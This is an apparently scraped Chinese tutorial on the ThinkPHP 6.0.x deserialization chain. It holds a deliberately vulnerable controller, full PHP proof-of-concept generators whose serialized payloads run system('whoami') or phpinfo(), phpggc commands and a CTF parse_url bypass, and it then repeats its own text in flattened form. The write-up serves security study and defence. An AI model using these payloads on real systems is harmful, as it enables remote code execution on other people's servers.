学习 ThinkPHP V6.0.x 反序列化链挖掘
字数 1762 2025-08-05 11:39:33

ThinkPHP V6.0.x 反序列化漏洞分析与利用

漏洞概述

ThinkPHP V6.0.x 存在反序列化漏洞,当应用程序中存在可控的 unserialize() 函数时,攻击者可以构造特定的序列化数据实现远程代码执行。

环境搭建

composer create-project topthink/think=6.0.x-dev thinkphp-v6.0
cd thinkphp-v6.0
php think run

注意:ThinkPHP6 需要 PHP7.1 及以上环境。

漏洞利用条件

  1. 应用程序中存在可控的 unserialize() 函数
  2. 使用 ThinkPHP 进行二次开发

漏洞点设置示例

在 Index 控制器中添加漏洞点:

<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
    public function index()
    {
        $c = unserialize($_GET['whoami']); // 参数可控的unserialize函数
        var_dump($c);
        return 'Welcome to ThinkPHP!';
    }
}

POP链构造分析

__destruct() 链构造

  1. 入口点think\orm\src\Model.php 中的 __destruct() 方法

    • 需要设置 $this->lazySave = true 以触发 save() 方法
  2. save() 方法(位于 Model.php

    • 绕过条件:
      • $this->isEmpty() 返回 false → $this->data 不为空
      • $this->trigger('BeforeWrite') 返回 true → $this->withEvent = false
    • 根据 $this->exists 值进入不同分支:
      • $this->exists = true → 进入 updateData()
      • $this->exists = false → 进入 insertData()
  3. updateData() 方法

    • 需要 $this->force = true 以直接返回 $this->data
    • 最终调用 $this->checkAllowFields()
  4. checkAllowFields() 方法

    • 需要 $this->field 为空
    • 需要 $this->schema 非空
    • 调用 $this->db()
  5. db() 方法

    • 关键点:字符串拼接 $this->table . $this->suffix
    • 通过将 $this->table$this->suffix 设置为对象触发 __toString()

__toString() 链构造

  1. 入口点Conversion trait 中的 __toString() 方法

    • 调用 toJson()
    • 调用 toArray()
  2. toArray() 方法

    • 遍历 $data 并调用 getAttr($key)
  3. getAttr() 方法

    • 调用 getData($name) 获取 $value
    • 最终调用 getValue($name, $value)
  4. getValue() 方法

    • 关键利用点:
      $closure = $this->withAttr[$fieldName];
      $value = $closure($value, $this->data);
      
    • 通过设置:
      • $this->withAttr[$key] = "system"
      • $this->data = ["evil_key" => "whoami"]
    • 实现 system('whoami') 执行

完整POC

<?php

namespace think\model\concern;

trait Attribute
{
    private $data = ["evil_key" => "whoami"];
    private $withAttr = ["evil_key" => "system"];
}

namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

利用SerializableClosure构造payload

<?php
namespace think\model\concern;

trait Attribute{
    private $data;
    private $withAttr;
}
trait ModelEvent{
    protected $withEvent;
}

namespace think;

abstract class Model{
    use model\concern\Attribute;
    use model\concern\ModelEvent;
    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;
    function __construct($a = '')
    {   
    $func = function(){phpinfo();};
    $b=\Opis\Closure\serialize($func);
        $this->exists = true;
        $this->force = true;
    $this->lazySave = true;
    $this->withEvent = false;
        $this->suffix = $a;
        $this->data=['jiang'=>''];

        $c=unserialize($b); 
    $this->withAttr=['jiang'=>$c];
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model{}
require 'closure/autoload.php';
echo urlencode(serialize(new Pivot(new Pivot())));

使用phpggc工具生成payload

php ./phpggc -u thinkphp/rce2 'phpinfo();'
php ./phpggc -u thinkphp/rce2 "system('whoami');"

CTF实战:[安洵杯 2019]iamthinking

  1. 题目环境为ThinkPHP6
  2. 存在可控的unserialize()函数
  3. 需要绕过parse_url()函数检测:
    • 在URL域名后添加多个斜杠/可使parse_url()报错返回false
    • 示例:http://xxx.com///public/?payload=O%3A17%3A...

防御措施

  1. 避免使用可控的unserialize()函数
  2. 使用安全的反序列化方法,如JSON
  3. 及时更新ThinkPHP框架版本

参考资源

  1. https://blog.csdn.net/qq_42181428/article/details/105777872
  2. https://www.anquanke.com/post/id/187393
  3. https://www.gaojiufeng.cn/?id=386
  4. https://www.anquanke.com/post/id/187332
  5. https://www.cnblogs.com/JinYITong/p/13994856.html
ThinkPHP V6.0.x 反序列化漏洞分析与利用 漏洞概述 ThinkPHP V6.0.x 存在反序列化漏洞,当应用程序中存在可控的 unserialize() 函数时,攻击者可以构造特定的序列化数据实现远程代码执行。 环境搭建 注意 :ThinkPHP6 需要 PHP7.1 及以上环境。 漏洞利用条件 应用程序中存在可控的 unserialize() 函数 使用 ThinkPHP 进行二次开发 漏洞点设置示例 在 Index 控制器中添加漏洞点: POP链构造分析 __ destruct() 链构造 入口点 : think\orm\src\Model.php 中的 __destruct() 方法 需要设置 $this->lazySave = true 以触发 save() 方法 save() 方法 (位于 Model.php ) 绕过条件: $this->isEmpty() 返回 false → $this->data 不为空 $this->trigger('BeforeWrite') 返回 true → $this->withEvent = false 根据 $this->exists 值进入不同分支: $this->exists = true → 进入 updateData() $this->exists = false → 进入 insertData() updateData() 方法 需要 $this->force = true 以直接返回 $this->data 最终调用 $this->checkAllowFields() checkAllowFields() 方法 需要 $this->field 为空 需要 $this->schema 非空 调用 $this->db() db() 方法 关键点:字符串拼接 $this->table . $this->suffix 通过将 $this->table 或 $this->suffix 设置为对象触发 __toString() __ toString() 链构造 入口点 : Conversion trait 中的 __toString() 方法 调用 toJson() 调用 toArray() toArray() 方法 遍历 $data 并调用 getAttr($key) getAttr() 方法 调用 getData($name) 获取 $value 最终调用 getValue($name, $value) getValue() 方法 关键利用点: 通过设置: $this->withAttr[$key] = "system" $this->data = ["evil_key" => "whoami"] 实现 system('whoami') 执行 完整POC 利用SerializableClosure构造payload 使用phpggc工具生成payload CTF实战:[ 安洵杯 2019 ]iamthinking 题目环境为ThinkPHP6 存在可控的 unserialize() 函数 需要绕过 parse_url() 函数检测: 在URL域名后添加多个斜杠 / 可使 parse_url() 报错返回false 示例: http://xxx.com///public/?payload=O%3A17%3A... 防御措施 避免使用可控的 unserialize() 函数 使用安全的反序列化方法,如JSON 及时更新ThinkPHP框架版本 参考资源 https://blog.csdn.net/qq_ 42181428/article/details/105777872 https://www.anquanke.com/post/id/187393 https://www.gaojiufeng.cn/?id=386 https://www.anquanke.com/post/id/187332 https://www.cnblogs.com/JinYITong/p/13994856.html